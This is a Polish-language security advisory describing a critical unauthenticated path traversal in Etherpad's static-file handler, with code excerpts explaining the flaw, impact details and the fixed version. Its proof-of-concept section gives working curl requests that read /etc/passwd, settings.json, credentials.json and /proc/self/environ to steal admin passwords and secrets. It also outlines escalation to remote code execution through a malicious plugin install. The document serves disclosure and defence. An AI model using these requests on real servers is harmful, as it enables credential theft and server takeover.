Krytyczna

Etherpad: Odczyt dowolnych plików przed uwierzytelnieniem

  • Ujawniono: 20.11.2026
  • Aktualizacja: 21.11.2026 10:00

Podsumowanie

Nieuwierzytelniona podatność typu path traversal / odczyt dowolnych plików w module obsługi /static/* w Etherpad pozwala każdemu zdalnemu, nieuwierzytelnionemu użytkownikowi na odczyt dowolnego pliku w systemie plików serwera (np. żądanie GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd zwraca /etc/passwd) dostępnego dla użytkownika uruchamiającego oprogramowanie Etherpad. Ponieważ punkt końcowy jest instalowany przed oprogramowaniem pośredniczącym uwierzytelniania, nie są wymagane żadne poświadczenia, sesja ani zmiana konfiguracji. Odczyt ten może prowadzić do pełnego przejęcia serwera: w typowym wdrożeniu poprzez ujawnienie settings.json / credentials.json / /proc/self/environ, które zawierają hasło administratora, dając atakującemu sesję administracyjną oraz, za pośrednictwem instalatora wtyczek administratora, zdalne wykonanie kodu.

Szczegóły

Etherpad udostępnia statyczne zasoby wtyczek za pośrednictwem src/node/utils/Minify.ts. Ścieżka żądania jest najpierw przekazywana przez moduł sanityzacji src/node/utils/sanitizePathname.ts, który konwertuje ukośniki odwrotne (backslashe) na ukośniki wyłącznie w systemie Windows:

// src/node/utils/sanitizePathname.ts:11-20
p = pathApi.normalize(p);
if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);
if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);
// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\' in the input
// pathname would not be normalized away before being converted to '../'.
if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');

W systemie Linux ukośnik odwrotny jest zwykłym bajtem nazwy pliku, dlatego segment wejściowy taki jak ..\..\..\test nie zawiera składowych ścieżki ./.. i przechodzi każdy test w sanitizePathname bez zmian. Potwierdza to zestaw testów samego projektu: src/tests/backend-new/specs/sanitizePathname.ts:62 wymienia ['posix', '..\\foo'] wśród akceptowanych ścieżek (zwracanych bez zmian).

Podatność polega na tym, że plik Minify.ts wykonuje tę konwersję specyficzną dla systemu Windows bezwarunkowo, po uruchomieniu modułu sanityzacji, co uzasadniono komentarzem zakładającym coś przeciwnego do powyższego niezmiennika:

// src/node/utils/Minify.ts:171-186
const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/);
if (match) {
const library = match[1];
const libraryPath = match[2] || '';
if (plugins.plugins[library] && match[3]) {
const plugin = plugins.plugins[library];
const pluginPath = plugin.package.realPath;      // for 'ep_etherpad-lite' == <root>/src
filename = path.join(pluginPath, libraryPath);   // -> absolute path, backslashes preserved
// ... "This conversion does not introduce a directory
// traversal vulnerability because all '..\\' substrings have already been removed by
// sanitizePathname."                              // <-- FALSE on POSIX
filename = filename.replace(/\\/g, '/');          // <-- reintroduces ../ AFTER the check
}

Po linii 186 ciąg staje się rzeczywistym przejściem po ścieżce (<root>/src/static/../../../../etc/passwd) bez ponownej normalizacji i bez kontroli ograniczenia przed wywołaniami systemu plików w Minify.ts:248 (fs.stat) oraz Minify.ts:315 (fs.readFile). Ponieważ path.join w linii 179 generuje ścieżkę bezwzględną, path.resolve(ROOT_DIR, filename) całkowicie odrzuca ROOT_DIR, a funkcja path.resolve zgodna z POSIX zwija nadmiarowe .. na poziomie /, co uniezależnia ładunek od głębokości katalogu głównego.

Trasa jest dostępna przed uwierzytelnieniem. Jest ona rejestrowana w hooku expressPreSession:

// src/ep.json
{ "name": "static", "hooks": { "expressPreSession": "ep_etherpad-lite/node/hooks/express/static" } }
// src/node/hooks/express/static.ts:38
app.all('/static/*filename', minify);

a expressPreSession uruchamia się przed oprogramowaniem pośredniczącym uwierzytelniania:

// src/node/hooks/express.ts:244-247
await hooks.aCallAll('expressPreSession', {app, settings});   // static route registered here
app.use(exports.sessionMiddleware);
app.use(webaccess.checkAccess);                                // auth runs AFTER

Gałąź wtyczek jest wybierana zawsze, ponieważ src/static/js/pluginfw/plugins.ts:153-158 bezwarunkowo rejestruje podstawową pseudo-wtyczkę ep_etherpad-lite z package.realPath = <root>/src.

Dwa fakty dotyczące dekodowania umożliwiają działanie exploita: Express 5 / path-to-regexp v8 dekoduje parametry wieloznaczne dla każdego segmentu jeden raz ((v) => v.split('/').map(decodeURIComponent)), więc req.params.filename.join('/') (Minify.ts:147) daje jednokrotnie zdekodowaną ścieżkę przekazaną do sanityzatora, a %5C (zakodowany ukośnik odwrotny) jest jedynym działającym separatorem (%2F dekoduje się do /, jest ponownie dzielone i odrzucane przez zabezpieczenie split('/')[ 0 ] === '..').

PoC

Dotyczy domyślnego wdrożenia produkcyjnego (brak specjalnej konfiguracji; działa w systemie Linux, np. w obrazie Docker lub instalacji systemd ze źródeł). Zastąp TARGET:9001 danym adresem instancji.

  1. Odczytaj /etc/passwd (lub dowolny plik) bez uwierzytelnienia. Flaga --path-as-is zapobiega zwijaniu ścieżki przejścia przez klienta:
bash
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'

Inne cenne odczyty (zbyt duża głębokość .. zostaje zredukowana w /):

Hasło administratora + sekrety, niezależnie od ścieżki głównej poprzez /proc/self/cwd:

bash
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'

W przypadku wdrożeń docker-compose hasło administratora jest zmienną środowiskową: curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'

Każda odpowiedź zwraca surowe bajty pliku (z nieszkodliwym nagłówkiem Content-Type: false w przypadku celów bez rozszerzenia; środowisko Node wymusza typ wartości i nie zgłasza błędu).

  1. Eskalacja do RCE. Odzyskaj dane uwierzytelniające administratora z plików odczytanych w kroku 1, a następnie:

Utwórz sesję administratora:

bash
curl -i -X POST 'http://TARGET:9001/admin-auth/' \
-H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"
# -> 200 + Set-Cookie: <prefix>express_sid=...

Używając tego ciasteczka express_sid, połącz się z przestrzenią nazw Socket.IO /pluginfw/installer (chronioną wyłącznie przez warunek session.user.is_admin, src/node/hooks/express/adminplugins.ts:22) i wyślij zdarzenie install dla kontrolowanej przez atakującego wtyczki ep_*. Etherpad ładuje kod wtyczki poprzez require() wewnątrz procesu podczas plugins.update() (src/static/js/pluginfw/shared.ts:30), wykonując dowolny kod z uprawnieniami użytkownika Etherpad.

Wpływ

  • Typ: Nieprawidłowe ograniczenie ścieżki dostępu → nieuwierzytelniony odczyt dowolnych plików z potencjałem zdalnego wykonania kodu.
  • Wymagany dostęp: Brak. Podatna trasa jest obsługiwana przed oprogramowaniem pośredniczącym uwierzytelniania/autoryzacji, co oznacza, że podatność może zostać wykorzystana przez dowolnego klienta mogącego połączyć się z portem HTTP, niezależnie od konfiguracji requireAuthentication, requireAuthorization lub konfiguracji użytkowników.
  • Do czego atakujący ma dostęp: Dowolny plik czytelny dla użytkownika procesu Etherpad, w tym settings.json/credentials.json (hasło administratora, sessionKey, poświadczenia bazy danych, sekrety klientów SSO), /proc/self/environ (sekrety podane w zmiennych środowiskowych, takie jak ADMIN_PASSWORD, DB_PASS), baza danych padów, klucze prywatne TLS oraz pliki systemu operacyjnego, takie jak /etc/passwd.
  • Eskalacja uprawnień: Ujawnione poświadczenia administratora dają sesję administratora; instalator wtyczek administratora umożliwia wykonanie kodu w procesie (pełne przejęcie serwera). Nawet bez instalowania wtyczek dostęp administratora pozwala na przepisanie konfiguracji (saveSettings + restartServer) oraz eksfiltrację przechowywanych danych.
  • Kogo dotyczy problem: Wszystkich operatorów uruchamiających podatne wersje, ze szczególnym uwzględnieniem instalacji wystawionych bezpośrednio do sieci niezaufanych. Serwery proxy (reverse proxy) nie chronią przed podatnością, ponieważ sekwencja przejścia używa %5C, który jest przekazywany dalej bez zmian.

Co trzeba zrobić

Zaktualizuj pakiet ep_etherpad-lite do wersji 3.3.3 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm ep_etherpad-lite >= 1.8.14, < 3.3.3 3.3.3

Odnośniki

Ocena CVSS 9.8/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE)
CWE-200, CWE-22, CWE-306
Platforma
npm
Paczka
ep_etherpad-lite
Ujawniono
20.11.2026
Aktualizacja
21.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-mc8w-wjhw-45x5 - CC BY 4.0

Historia podatności: ep_etherpad-lite

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
7
Pierwsza → ostatnia
05.2022 11.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 1
  • Średnia 4

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 6
  1. Etherpad: Odczyt dowolnych plików przed uwierzytelnieniem ten wpis
    Krytyczna · 9.8 CVE-2026-114516 >= 1.8.14, < 3.3.3 3.3.3
  2. Krytyczna · 9.8 CVE-2018-6835 < 1.6.3 1.6.3

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.